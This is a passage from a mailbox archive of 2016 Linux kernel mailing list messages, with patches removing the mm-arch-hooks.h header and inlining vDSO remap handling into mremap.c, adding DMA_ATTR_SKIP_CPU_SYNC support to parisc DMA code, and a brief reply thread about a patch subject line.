 generic-y += msgbuf.h
 generic-y += msi.h
diff --git a/arch/avr32/include/asm/Kbuild b/arch/avr32/include/asm/Kbuild
index 241b9b9..519810d 100644
--- a/arch/avr32/include/asm/Kbuild
+++ b/arch/avr32/include/asm/Kbuild
@@ -12,7 +12,6 @@ generic-y += irq_work.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += param.h
 generic-y += percpu.h
 generic-y += preempt.h
diff --git a/arch/blackfin/include/asm/Kbuild b/arch/blackfin/include/asm/Kbuild
index 91d49c0..c80181e 100644
--- a/arch/blackfin/include/asm/Kbuild
+++ b/arch/blackfin/include/asm/Kbuild
@@ -21,7 +21,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += msgbuf.h
 generic-y += mutex.h
diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
index 64465e7..1b9cbed 100644
--- a/arch/c6x/include/asm/Kbuild
+++ b/arch/c6x/include/asm/Kbuild
@@ -27,7 +27,6 @@ generic-y += kdebug.h
 generic-y += kmap_types.h
 generic-y += local.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += mmu.h
 generic-y += mmu_context.h
diff --git a/arch/cris/include/asm/Kbuild b/arch/cris/include/asm/Kbuild
index 1778805..8e98d03 100644
--- a/arch/cris/include/asm/Kbuild
+++ b/arch/cris/include/asm/Kbuild
@@ -24,7 +24,6 @@ generic-y += linkage.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += module.h
 generic-y += msgbuf.h
diff --git a/arch/frv/include/asm/Kbuild b/arch/frv/include/asm/Kbuild
index 1fa084c..2c987dc 100644
--- a/arch/frv/include/asm/Kbuild
+++ b/arch/frv/include/asm/Kbuild
@@ -4,7 +4,6 @@ generic-y += cputime.h
 generic-y += exec.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += trace_clock.h
 generic-y += word-at-a-time.h
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index 373cb23..2a63a32 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -33,7 +33,6 @@ generic-y += linkage.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += mmu.h
 generic-y += mmu_context.h
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index db8ddab..0988816 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -28,7 +28,6 @@ generic-y += kmap_types.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += msgbuf.h
 generic-y += pci.h
diff --git a/arch/ia64/include/asm/Kbuild b/arch/ia64/include/asm/Kbuild
index 502a91d..dc05773 100644
--- a/arch/ia64/include/asm/Kbuild
+++ b/arch/ia64/include/asm/Kbuild
@@ -4,7 +4,6 @@ generic-y += exec.h
 generic-y += irq_work.h
 generic-y += kvm_para.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += trace_clock.h
 generic-y += vtime.h
diff --git a/arch/m32r/include/asm/Kbuild b/arch/m32r/include/asm/Kbuild
index 860e440..f09a5fd 100644
--- a/arch/m32r/include/asm/Kbuild
+++ b/arch/m32r/include/asm/Kbuild
@@ -5,7 +5,6 @@ generic-y += exec.h
 generic-y += irq_work.h
 generic-y += kvm_para.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += module.h
 generic-y += preempt.h
 generic-y += sections.h
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index eb85bd9..1555bc1 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -18,7 +18,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += mutex.h
 generic-y += percpu.h
diff --git a/arch/metag/include/asm/Kbuild b/arch/metag/include/asm/Kbuild
index 29acb89d..611c0df 100644
--- a/arch/metag/include/asm/Kbuild
+++ b/arch/metag/include/asm/Kbuild
@@ -25,7 +25,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += msgbuf.h
 generic-y += mutex.h
 generic-y += param.h
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index b0ae88c..cefeaba 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -6,7 +6,6 @@ generic-y += device.h
 generic-y += exec.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += syscalls.h
 generic-y += trace_clock.h
diff --git a/arch/mips/include/asm/Kbuild b/arch/mips/include/asm/Kbuild
index 9740066..f0ce0ae 100644
--- a/arch/mips/include/asm/Kbuild
+++ b/arch/mips/include/asm/Kbuild
@@ -8,7 +8,6 @@ generic-y += emergency-restart.h
 generic-y += irq_work.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mutex.h
 generic-y += parport.h
 generic-y += percpu.h
diff --git a/arch/mn10300/include/asm/Kbuild b/arch/mn10300/include/asm/Kbuild
index 1c8dd0f..27cbc02 100644
--- a/arch/mn10300/include/asm/Kbuild
+++ b/arch/mn10300/include/asm/Kbuild
@@ -5,7 +5,6 @@ generic-y += cputime.h
 generic-y += exec.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += sections.h
 generic-y += trace_clock.h
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index d63330e..e224789 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -30,7 +30,6 @@ generic-y += kmap_types.h
 generic-y += kvm_para.h
 generic-y += local.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += module.h
 generic-y += msgbuf.h
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index 2832f03..2a2e39b 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -36,7 +36,6 @@ generic-y += kmap_types.h
 generic-y += kvm_para.h
 generic-y += local.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += module.h
 generic-y += msgbuf.h
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index f9b3a81..12b341d 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -15,7 +15,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mutex.h
 generic-y += param.h
 generic-y += percpu.h
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index 20f196b..c1ef825 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -4,7 +4,6 @@ generic-y += clkdev.h
 generic-y += export.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += trace_clock.h
 generic-y += word-at-a-time.h
diff --git a/arch/score/include/asm/Kbuild b/arch/score/include/asm/Kbuild
index a05218f..ff19975 100644
--- a/arch/score/include/asm/Kbuild
+++ b/arch/score/include/asm/Kbuild
@@ -7,7 +7,6 @@ generic-y += clkdev.h
 generic-y += cputime.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += preempt.h
 generic-y += sections.h
 generic-y += trace_clock.h
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 751c337..7d1fb2c 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -17,7 +17,6 @@ generic-y += kvm_para.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += msgbuf.h
 generic-y += param.h
diff --git a/arch/sparc/include/asm/Kbuild b/arch/sparc/include/asm/Kbuild
index cfc9180..0867d5a 100644
--- a/arch/sparc/include/asm/Kbuild
+++ b/arch/sparc/include/asm/Kbuild
@@ -13,7 +13,6 @@ generic-y += linkage.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += module.h
 generic-y += mutex.h
 generic-y += preempt.h
diff --git a/arch/tile/include/asm/Kbuild b/arch/tile/include/asm/Kbuild
index ba35c41..40d22b4 100644
--- a/arch/tile/include/asm/Kbuild
+++ b/arch/tile/include/asm/Kbuild
@@ -19,7 +19,6 @@ generic-y += irq_regs.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += msgbuf.h
 generic-y += mutex.h
 generic-y += param.h
diff --git a/arch/um/include/asm/Kbuild b/arch/um/include/asm/Kbuild
index 904f3eb..33c1d3e 100644
--- a/arch/um/include/asm/Kbuild
+++ b/arch/um/include/asm/Kbuild
@@ -16,7 +16,6 @@ generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mutex.h
 generic-y += param.h
 generic-y += pci.h
diff --git a/arch/unicore32/include/asm/Kbuild b/arch/unicore32/include/asm/Kbuild
index 256c45b..932070c 100644
--- a/arch/unicore32/include/asm/Kbuild
+++ b/arch/unicore32/include/asm/Kbuild
@@ -26,7 +26,6 @@ generic-y += kdebug.h
 generic-y += kmap_types.h
 generic-y += local.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += mman.h
 generic-y += module.h
 generic-y += msgbuf.h
diff --git a/arch/x86/include/asm/Kbuild b/arch/x86/include/asm/Kbuild
index 2cfed17..51b3d95 100644
--- a/arch/x86/include/asm/Kbuild
+++ b/arch/x86/include/asm/Kbuild
@@ -15,4 +15,3 @@ generic-y += cputime.h
 generic-y += dma-contiguous.h
 generic-y += early_ioremap.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 28cf4c5..bdade99 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -18,7 +18,6 @@ generic-y += linkage.h
 generic-y += local.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
-generic-y += mm-arch-hooks.h
 generic-y += percpu.h
 generic-y += preempt.h
 generic-y += resource.h
diff --git a/include/asm-generic/mm_hooks.h b/include/asm-generic/mm_hooks.h
index 73f09f1..f4d43aa 100644
--- a/include/asm-generic/mm_hooks.h
+++ b/include/asm-generic/mm_hooks.h
@@ -3,7 +3,6 @@
  * included in asm-FOO/mmu_context.h for any arch FOO which doesn't need to
  * specially hook these.
  *
- * arch_remap originally from include/linux-mm-arch-hooks.h
  * arch_unmap originally from arch/powerpc/include/asm/mmu_context.h
  * Copyright (C) 2015, IBM Corporation
  * Author: Laurent Dufour <ldufour@linux.vnet.ibm.com>
@@ -35,21 +34,6 @@ static inline void arch_unmap(struct mm_struct *mm,
 #endif /* CONFIG_GENERIC_VDSO */
 }
 
-static inline void arch_remap(struct mm_struct *mm,
-			      unsigned long old_start, unsigned long old_end,
-			      unsigned long new_start, unsigned long new_end)
-{
-#ifdef CONFIG_GENERIC_VDSO
-	/*
-	 * mremap() doesn't allow moving multiple vmas so we can limit the
-	 * check to old_addr == vdso.
-	 */
-	if (old_addr == mm->context.vdso)
-		mm->context.vdso = new_addr;
-
-#endif /* CONFIG_GENERIC_VDSO */
-}
-
 static inline void arch_bprm_mm_init(struct mm_struct *mm,
 				     struct vm_area_struct *vma)
 {
diff --git a/mm/mremap.c b/mm/mremap.c
index da22ad2..0d0ea14 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -5,6 +5,14 @@
  *
  *	Address space accounting code	<alan@lxorguk.ukuu.org.uk>
  *	(C) Copyright 2002 Red Hat Inc, All Rights Reserved
+ *
+ *	arch_remap originally from include/linux-mm-arch-hooks.h
+ *	Copyright (C) 2015, IBM Corporation
+ *	Author: Laurent Dufour <ldufour@linux.vnet.ibm.com>
+ *
+ *	This program is free software; you can redistribute it and/or modify
+ *	it under the terms of the GNU General Public License version 2 as
+ *	published by the Free Software Foundation.
  */
 
 #include <linux/mm.h>
@@ -21,7 +29,6 @@
 #include <linux/syscalls.h>
 #include <linux/mmu_notifier.h>
 #include <linux/uaccess.h>
-#include <linux/mm-arch-hooks.h>
 
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
@@ -293,8 +300,15 @@ static unsigned long move_vma(struct vm_area_struct *vma,
 		old_addr = new_addr;
 		new_addr = err;
 	} else {
-		arch_remap(mm, old_addr, old_addr + old_len,
-			   new_addr, new_addr + new_len);
+#ifdef CONFIG_GENERIC_VDSO
+		/*
+		 * mremap() doesn't allow moving multiple vmas so we can limit
+		 * the check to old_addr == vdso.
+		 */
+		if (old_addr == mm->context.vdso)
+			mm->context.vdso = new_addr;
+
+#endif /* CONFIG_GENERIC_VDSO */
 	}
 
 	/* Conceal VM_ACCOUNT so old reservation is not undone */
-- 
Qualcomm Datacenter Technologies as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the
Code Aurora Forum, a Linux Foundation Collaborative Project.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use LINUX_GATEWAY_ADDR define instead of
 hardcoded value value
Date: Tue, 1 Nov 2016 19:25:12 +0100
Organization: Gentoo Foundation
Lines: 24
Approved: news@gmane.org
Message-ID: <20161101192512.1cd9bb27@wim.fritz.box>
References: <20161029215243.GA24444@ls3530.box>
        <2532502.E0v7kgWD9v@daneel.sf-tec.de>
        <58170E4D.4050801@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478024740 25434 195.159.176.226 (1 Nov 2016 18:25:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2016 18:25:40 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 19:25:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c1dkP-0005tb-GQ
	for glpp-linux-parisc@m.gmane.org; Tue, 01 Nov 2016 19:25:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752297AbcKASZY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 1 Nov 2016 14:25:24 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55154 "EHLO smtp.gentoo.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752154AbcKASZX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 1 Nov 2016 14:25:23 -0400
Original-Received: from wim.fritz.box (unknown [IPv6:2001:984:fcd5:1:9f7a:61db:6e7d:c0f5])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        (Authenticated sender: jer)
        by smtp.gentoo.org (Postfix) with ESMTPSA id 49CDF34114E;
        Tue,  1 Nov 2016 18:25:22 +0000 (UTC)
In-Reply-To: <58170E4D.4050801@gmx.de>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27032>

On Mon, 31 Oct 2016 10:26:37 +0100
Helge Deller <deller@gmx.de> wrote:

> On 30.10.2016 11:23, Rolf Eike Beer wrote:
> > Helge Deller wrote:
> >   
> >> LINUX_GATEWAY_ADDR is defined in unistd.h. Let's use it.  
> > 
> > value value?  
> 
> I do see huge value in being able to see where this value is being
> used. A new developer who uses grep will find the relevant assembler
> code as well.

Yes, but "value value"! ;-)


Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.h.duyck@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [mm PATCH v2 17/26] arch/parisc: Add option to skip DMA sync as a
 part of map and unmap
Date: Wed, 02 Nov 2016 07:15:08 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <20161102111501.79519.99354.stgit@ahduyck-blue-test.jf.intel.com>
References: <20161102111031.79519.14741.stgit@ahduyck-blue-test.jf.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478106974 14305 195.159.176.226 (2 Nov 2016 17:16:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 2 Nov 2016 17:16:14 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: netdev@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org
To: linux-mm@kvack.org, akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Wed Nov 02 18:16:09 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1c1z8u-0002hC-Ag
	for glkm-linux-mm-2@m.gmane.org; Wed, 02 Nov 2016 18:16:04 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id B91346B02BE; Wed,  2 Nov 2016 13:16:06 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B1AFF6B02BF; Wed,  2 Nov 2016 13:16:06 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A096D6B02C0; Wed,  2 Nov 2016 13:16:06 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f70.google.com (mail-pa0-f70.google.com [209.85.220.70])
	by kanga.kvack.org (Postfix) with ESMTP id 6E50B6B02BE
	for <linux-mm@kvack.org>; Wed,  2 Nov 2016 13:16:06 -0400 (EDT)
Original-Received: by mail-pa0-f70.google.com with SMTP id ro13so9753285pac.7
        for <linux-mm@kvack.org>; Wed, 02 Nov 2016 10:16:06 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:from
         :to:cc:date:message-id:in-reply-to:references:user-agent
         :mime-version:content-transfer-encoding;
        bh=Oqq5DARJL4OYVF1FA8ac9jaHDJBmGNy009SvBZqv3Xo=;
        b=QYLz7anoGA229KrDUtS8KPkH5bArIwf0ML4CL/dAi/nEJ3xA+S9yzttCSj7hYYXUt1
         6i8OZA6g+UoFZxhgjDSv8WfFvz7/MW/225ky9ZFQGJfibUXo2i9Q4yxMP2wAOMS7FCgN
         lwZEIZzJQxcx1BlyY/7QW1uSrfagET1UP0A4OakbJNwWTZlAPPiU9cjnZFcaPhQlgrKO
         L7R9fte4TnWt0XtMtovj/Z/JSrOK31vYgG6Gn1JBhB1Mu0+bOtc4n7qAtBZY1GtrcpbK
         OhMgM9q+0TTshr1vKwD3eTItz58UX3LhHiI9JIC5HzCizEHyjWeKszGwMmj1d5aqV3jf
         p7qg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.120 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
X-Gm-Message-State: ABUngvcCC7eeSCXDhDg6/Kv8oeIbWrCDvYHE13BBz+TCbUejYT8tfVnjuo7VlZpWMovxDikBlN4+xYHqJCRJV5oyKY0pHlTgD0fg4zFdXhzd2w44uij4Necc/n8Kv0Y5yv1bg/leCdmoyvEIy7HeRapB/E2hKcFWe3tVlJFNtYtB1InUoCBS8GjFgAqj
X-Received: by 10.99.102.69 with SMTP id a66mr7119819pgc.71.1478106966072;
        Wed, 02 Nov 2016 10:16:06 -0700 (PDT)
X-Received: by 10.99.102.69 with SMTP id a66mr7119782pgc.71.1478106965735;
        Wed, 02 Nov 2016 10:16:05 -0700 (PDT)
Original-Received: from mga04.intel.com (mga04.intel.com. [192.55.52.120])
        by mx.google.com with ESMTPS id mi10si3435637pab.218.2016.11.02.10.16.05
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Wed, 02 Nov 2016 10:16:05 -0700 (PDT)
Received-SPF: pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.120 as permitted sender) client-ip=192.55.52.120;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 192.55.52.120 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
Original-Received: from fmsmga006.fm.intel.com ([10.253.24.20])
  by fmsmga104.fm.intel.com with ESMTP; 02 Nov 2016 10:16:05 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,583,1473145200"; 
   d="scan'208";a="26619203"
Original-Received: from ahduyck-blue-test.jf.intel.com ([134.134.2.201])
  by fmsmga006.fm.intel.com with ESMTP; 02 Nov 2016 10:16:05 -0700
In-Reply-To: <20161102111031.79519.14741.stgit@ahduyck-blue-test.jf.intel.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:160389 gmane.linux.network:437820 gmane.linux.ports.parisc:27033 gmane.linux.kernel:2340634
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/160389>

This change allows us to pass DMA_ATTR_SKIP_CPU_SYNC which allows us to
avoid invoking cache line invalidation if the driver will just handle it
via a sync_for_cpu or sync_for_device call.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Alexander Duyck <alexander.h.duyck@intel.com>
---
 arch/parisc/kernel/pci-dma.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 02d9ed0..be55ede 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -459,7 +459,9 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) addr, size);
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		flush_kernel_dcache_range((unsigned long) addr, size);
+
 	return virt_to_phys(addr);
 }
 
@@ -469,8 +471,11 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 {
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/*
 	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
@@ -479,7 +484,6 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 	 */
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-	return;
 }
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
@@ -496,6 +500,10 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sg) = sg->length;
+
+		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+			continue;
+
 		flush_kernel_dcache_range(vaddr, sg->length);
 	}
 	return nents;
@@ -510,14 +518,16 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-	return;
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Use LINUX_GATEWAY_ADDR define instead of
 hardcoded value value
Date: Wed, 2 Nov 2016 22:55:02 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <581A60B6.6080207@gmx.de>
References: <20161029215243.GA24444@ls3530.box>
 <2532502.E0v7kgWD9v@daneel.sf-tec.de> <58170E4D.4050801@gmx.de>
 <20161101192512.1cd9bb27@wim.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478123764 4890 195.159.176.226 (2 Nov 2016 21:56:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 2 Nov 2016 21:56:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 02 22:56:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c23VU-0007Bs-RY
	for glpp-linux-parisc@m.gmane.org; Wed, 02 Nov 2016 22:55:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932974AbcKBVzn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 2 Nov 2016 17:55:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50952 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
